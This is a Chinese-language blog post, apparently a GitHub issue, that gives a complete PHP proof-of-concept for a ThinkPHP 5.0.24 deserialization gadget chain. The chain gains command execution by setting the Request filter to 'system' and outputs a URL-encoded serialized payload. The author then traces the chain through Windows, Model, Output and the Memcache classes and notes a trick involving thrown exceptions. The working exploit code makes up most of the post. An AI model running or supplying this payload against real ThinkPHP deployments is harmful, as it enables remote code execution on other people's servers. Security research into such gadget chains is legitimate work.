Aaisui / Blog

Aaisui的博客。
5 stars 0 forks source link

ThinkPHP5.0.24反序列化 #1

Open Aaisui opened 3 years ago

Aaisui commented 3 years ago

把POC甩在最前面

<?php
namespace think\process\pipes {
    use think\Process;
    class Windows
    {
        public  $files = [];
        public function __construct($a){
            $this->files[0] = $a;
        }
    }
}

namespace think{

    use think\console\Output;
    use think\model\relation\HasOne;

    abstract class Model{
        protected $append = ['xxx'=>'getError'];
        protected $parent;

        public function __construct()
        {
            $this->error = new HasOne();
            $this->parent = new Output();
        }
    }
}

namespace think\model {

    use think\Model;
    use think\model\relation\HasOne;

    class Pivot extends Model{

    }

}

namespace think\model\relation{

    use think\console\Output;
    use think\db\Query;

    class HasOne extends OneToOne{
        public $error;
    }
    abstract class OneToOne{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = ['1'=>'1'];

        public function __construct()
        {
            $this->selfRelation = 0;
            $this->query = new Query();
//            $this->selfRelation = new Output();
        }
    }
}

namespace think\console{

    use think\process\pipes\Windows;
    use think\session\driver\Memcache;

    class Output{
        protected $styles = [
            'getAttr'
        ];
        private $handle;

        public function __construct()
        {
            $this->handle =new Memcache();
        }

    }
}
namespace think\session\driver{
    class Memcache{
        protected $handler;
        public function __construct()
        {
            $this->handler = new \think\cache\driver\Memcache();
        }
    }
}
namespace think\cache\driver{

    use think\Request;

    class Memcache{
        protected $tag = 'whoami';
        protected $handler;
        protected $options = [
            'prefix'=>'wdnmd/'
        ];
        public function __construct()
        {
            $this->handler = new Request();
        }
    }
}

namespace think{
    class Request{
        protected $filter='system';
        protected $get     = [
            'wdnmd'=>'whoami'
        ];
    }
}

namespace think\db{

    use think\console\Output;

    class Query{
        protected $model;
        public function __construct()
        {
            $this->model = new Output();
        }
    }
}

namespace {

    use think\model\Pivot;
    use think\model\relation\HasOne;
    use think\process\pipes\Windows;

    $pivot = new Pivot();
    $windows = new Windows($pivot);

    echo urlencode(serialize($windows));
}

从思路上来讲,到Output之前的都是和网上现有的资料几乎没什么区别的参考链接 只不过是从Set方法以后找了个别的函数的了。从一开始来讲,前面几步都是轻车熟路的

    public function __destruct()
    {
        $this->close();
        //TODO 起点
        $this->removeFiles();
    }

然后全局下搜索toString就能找到Model下的文件,代码段很长所以这里不完全贴出来了。重点是 图片 掉落到这里,之后可以得到call方法,还是call找到output函数的变量,之后是

    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type);
    }

再全局搜索write方法找到thinkphp/library/think/session/driver/Memcache.php下的write方法 图片 这样又有一个set方法跳板了,找到thinkphp/library/think/cache/driver/Memcache.php

图片 跟到has方法里面,

    public function has($name)
    {
        $key = $this->getCacheKey($name);
        return false !== $this->handler->get($key);
    }

能找到get,再挂上request类的get方法即可,后面的内容就和THINKPHP的RCE差不多了

Aaisui commented 3 years ago

这里还有一个有意思的tricks,如果我们尝试抛出异常来解决反序列化的问题,是可不行的,如: 图片 因为当抛出异常的时候反序列化已经完成了,所以抛出并不能阻止反序列化的进行了